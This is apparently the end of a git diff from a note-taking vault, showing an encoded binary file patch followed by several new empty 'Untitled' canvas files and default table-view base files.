zeCp57oNdQfmGYV0jgpjFp{27--#?aCDg0k;|7pIv-JrQS!{nC8@`qJXul(co zf4wjM>0x%xfmKgK?z8#MjXj_@%kY|Kc<|rX+mFa5y36gUD6RYNS7?}XpZh{U>>Ty9 zr_at76@DrxTs5QaLrKVum7iBiMn1KfH*3?4^AoSrN3rPn?$*2*)w9|;?}Lccd--Y#@o;se-KGf~ySgB+eHes@+=F0O{ z9pYjFHm%lwY`DNU`#_Z|qZ_4_dy;@Q%V^H}-pbqPj^Cb~cVb=~`yqbOOiQwOA z`^wLGXZDCjPdm4D`@5>A_ngb~|Fi#RIqm8F|8~aJ{J^zw^?z*cBwu{kyV`oz%zss8 zFK)c#b!@*kZ}m6%UixmFC%M%Bh$d^X}E$#_;#{r_P-g7Z<;LJtW>L*NJ`ew5D)AhO;XiAMWnx z==j`Fx10a(|%P+MkGFw&r?k-0t1A}0o4e9ea=JH1U~tfu ztm{z+g1kNzd3`EMUw>DjC1RUl`jxWj-_Bi5U#=H_|J}|LCl}gJHCoc|dwpV_G!y@u z4^cs>6O;T--s#j!X0zmoJA5>{y#M{JD{GytojN-A<+&GM_B$N2XWP5J8_(ibe!6Zr z|GiD^w$z(V7n|R#6bW@b+UdP#-rm~#2hU6q*i`e`uPpIm?_o!_TeDgwB>t`P-l(#j zMgG_6+%+p3;~ak2fArM+v$FxXaYI8D7 zqHe7G9C!P>)t5I~XMgQWEKADzwfFh@YiDP>F21;}MegIRec!!K=s9M6yCbz=iNgNu zr%s-2NB&MGJgU&{WY(6u`hBY!X zQd853tP%!%ey3+^MXVbzXL} z&kBf(iwjSlIBD9%BtfSjW24ZiBCIck`j01zi?+|-?IJFEb5Dt0x8}liYh319mH$0A z@$>YsDj!qxE9v6mzga*F07`1ypVrS{cyRv8h2v(uQVH8te_Z(J9j?|V;l)w;-}2kd z+x)YqpUv;tcU48%x;^^b(!R_VHFf3K>xR#|x4-l9^5A)Sx%<~j2abse232LRDt@2* zEaks_IE=KOfUSc`MPFF3yXd0t^-G| zY~f2=_A}?(SN8t4@9)p{pW{@V>}DbLG9x(tg?Rqmx7RlA?Q`R0y-j7` z2iXM=ZDQtH&Y4uUwntlSS^84}r(?W@3)pmeO193C`PJ3&M`BZ|xaiMwrOOxnd^Abu z`_#JDqcWbHZfnmjO-=2WH(OCGUF_tMEqwUfGPS5Itt%^E?B>r|tCQX*`!QdB({=W? zt1qLfN^)-Bir63Y=<4tO)2DXSeYRb(afX?i+jcqsT?Mc2?O4d1weIc3)!QpsS?!9$ zw_Ule+7dBicHGYYKd$E(AMaan-z6(DbLEQ#vRxT=l2KIvJJWCXRQC&GGTqE=USfn zD(6)--C1U(M{ljUbEi`H_$rMP^*^NEzk3@VbZW2MHt=Gs3zt)~W>0hLtIhec)#RIu z?LPfSA^FKcJoQv=lX#W!p<+)Vceq`}Pb;g6 zI(SN@s)F#6ifYlX8<{5Ue@(4(Z>?A=~3 zP59e<4r=r z!JLXQdea4jrq4L^_+!u45^b@-zz~VV?|;o|W0Fp-=AXa9lvy-2<#|ZCC4<5aL+0QA zXRTPjbfJd2apBEb6U+8im%hu$OS!PKH}WXYD=n`-6DwRJBb_`LXX|?W$V_-dO=@wG{H0Bsu7pnc@jXygRbrRa zE6JNXw_ckzak93OQqrRDwL4;a{H|YK^JlL+$4ZNBvEjE~WrZ%=ZggQO-x3woqeqW? zy2*Nf_mrut7p{_-J;i6Qh^VOM$2{Yl4`SlUT*Di(Tb z#@_y4vV8lg?JLqwr~B;r{^#n?*X5TtZR&TAmrl66cX6b*T)+F`i!+3J)}DU8_s@ry zFMhr-pT93-^=jWzxm$~qe|wqA^zU1>Y{`YKwX?fA7qfi{4-NS>X+pvKo2#$%tdSFY z>wfEY(C<~8CrURsFTF8WASp3zm*R&9C-zU{d7Yhn`KFU|Xyn`bjg<^PKAW1DtEQk5_7F$wb6g zMw?H3CC(EX<*nkuJLl4=-FboA`%j}}dOlyj_y4tLn{S@KSGQsQ zpYWq+RF|f<2pB8>{jnrPu7CQ3NoiRNqR&0v*xmJba?rAn8Rqf!Z=+{stk8_#QF{L5 zzVnO2^TW^1TefhO&s-sK;n$a!PM)*n%SZ3<_8U>ppNaNJ8!ZU(IQ#gcl75V2=Jn;5 z9wo?@Zr#}YTmRmM%j?{yv+Ku~zrL_6x_w*es~HRZL{A^MwcUvGbA0KKH?3+@IO{{ zzh7?d=;#RJp6a#rt)-CX;*0C#@139jsPgN*{@nMbS3_J}UA1$2CQq9wTKTZ({kpln zUrM%Iy}GIB^R4YhD`!0X^EFziC+gaJCI{z?RVypb&T`@aP0#e zElV`~f6dW1c4~^4n0WBvGxxdwZFA=f{rt^qbA+w#?f0>J-&_xNvx-t(ntJ|T-GzYA zWfwD!S>4LFtMfd0A}2Lq`%0tzTKf9)A3hC_3VZg}@M`9{NttnW$G89foPTWDl60TX zUt}{b-#vVF=X;j#TNxc!|DP4N@yFli>xF_Yw|`%qbn(@(1h7k&B^ z`%Kri?q!tnwFxt3RXw@WuO7Yk@0X{4dT+;CZ&__p+$L~HPbbOXNUHV{d5gkn^*U#h zzP?E*eD!JT4zB*4wk5yzeE-%kX_AnW$NqP*^Y&GKe{fX$-_7X$`F;^^zP`IG&Zy7M zkagi`<)Y5J9dFs|Z|(ke_xX*`-Au)wK5;5W>4r@Ak@jDF(e9{fNO1cCu5QcKWvu%u zq(pM2rogPjstF3vqYxQc4vqgoop4rT?Uva+tOHIj(lg0Y? zu0Qnj7tgzUTdb_*RhhK#;>>f0jW!i;E_(gpgFZusTd%<{KMqOL4gVh+KhL+X+?H}{ z$*a#d*4`H0QdfWCg59>rojYHDmtV2Pu*P-KqD5L=T;_6icGYi}O`8=J9sKxJ(Y0v) z(|yjrZv1%1>2vnXo5YKD*827DFM0?HPTa5FlY2yJ%9E#Jzj7;oJ*#y$zMQYAS=}d- z+|jxA%ZzW?xy`?CxZK}qpLx=2`a))JZ*Ttjon78u)22?_SN6Z~cbIOe$(8W4h2=9$ zF6TWuvvP6U>#SA#E50Y*zxbHBI&!<2p;F6^{!**jr@Kz?N!=XdCi(hxO`rD-xw0M2 zGhZ&aXDj{mEmK4M)X%5*=k{r7>B&94Fx_u?{Lb$aK$B^)S4Af)*8MtlcDlTs-i#+o zx+i~4oAm3`VfAQj?pHbc-_12|Z+UN7bZ1lP>L*{$T;SUOS^ChmQ%O(zYP-#H%B8Iu z)Rc<8{8{>F(xiWP*RI(7(NlBIq#!4c%F4>1sAHh@Ap**>x=tR;&C-m5f=+LL^Q}Nu zRa3Fh=2w%+Ak+2UAh!%{Vinr z{q%XqKlxg#>qc5`m|nWz{VBJX>8iW;PTy)~Xjf&X_2xC87zc4+>1aPmdAjokX++t<98`7dF5=QZce@2OL!yt5Q~xh=ucJ7`mU`Rb0f z|Bma$-4u|}IyvRTT>IM|?ysFLto!=gsY%H{?fJ9J6|2t7eDG=dZHZModZt{Nx%c+9 z_uRZzWk$Bz(UEcYHm-j=>80@Nza1_ND^{GEn|_AptGG{*ZPmY^E4{m)+RR%t=Zuc{ z@-kkzyag9Cq{aSjeS2V{r1sw~OVv$5I_$64={4`qSA1%8!_Lz7^M{?@yAStEzRCg( z7TgJYE57o};~XvdKNn+#YcE<<5rva|*xR>V5xD_EY?J^A-Uoanai1 zcN(Cb5c@6{FTB6+!v0#bjWdLl-&RL&TbFeD^Zk=o9Iod#9^cn7`M6%3V#|ydudB|^ zIb)xlwnV=2V^`-oGsPn={?^9o=g(}I`MhTSo|@RexO2Ch7Nj$obOkd1s_W^#FI}i) zZ9ZR7Z`s0CkM<{+rJZBo;GVU4^W}xk_GYr(Kc&*wgjep5TOnWE{xCOMO8(Z9+jnFc z8Jt*t)SW(g@>lL$#s{0{|C!$GyWPv5<+t;RlUFx=v}gFU%JcBcjmfdniSMi#4*X}g zSt(by-+lePT3;Wji~GA=SD)pZ&(UBnoEFBwP~*P*vbVSQ?A_uY?kC;6^`-WT{n@+S zt1cS;6?)L$a4FLz#nI4>Pk-z5q;_J`kvv*k;Rxn$|_8d$ou$Xge zGt-~_$p#W7Ra^TN*&EWp8s%sBh&3O~co)ZDV$9ZjFy+z0yA1UjJ^Pp${Fn$* zwm6!an(F)OgGGZqFVcAazZB3gwASLwM+NpVFdUfA2|5p$fq{W$>w4h>`(NTGC+$1- z7c_YPhYd7x&yW~ySz~_fa^|!;@Jd~WwV=^&1_lNPDlI97TMhCu<$g3tPhbA*9W&Ui a98c;W6#8$O&~=>!#P@Xdb6Mw<&;$VcS^r7^ literal 0 HcmV?d00001 diff --git a/Untitled 1.base b/Untitled 1.base new file mode 100644 index 0000000..c6ab609 --- /dev/null +++ b/Untitled 1.base @@ -0,0 +1,3 @@ +views: + - type: table + name: Table diff --git a/Untitled 1.canvas b/Untitled 1.canvas new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/Untitled 1.canvas @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/Untitled 2.canvas b/Untitled 2.canvas new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/Untitled 2.canvas @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/Untitled 3.canvas b/Untitled 3.canvas new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/Untitled 3.canvas @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/Untitled.base b/Untitled.base new file mode 100644 index 0000000..c6ab609 --- /dev/null +++ b/Untitled.base @@ -0,0 +1,3 @@ +views: + - type: table + name: Table diff --git a/Untitled.canvas b/Untitled.canvas new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/Untitled.canvas @@ -0,0 +1 @@ +{} \ No newline at end of file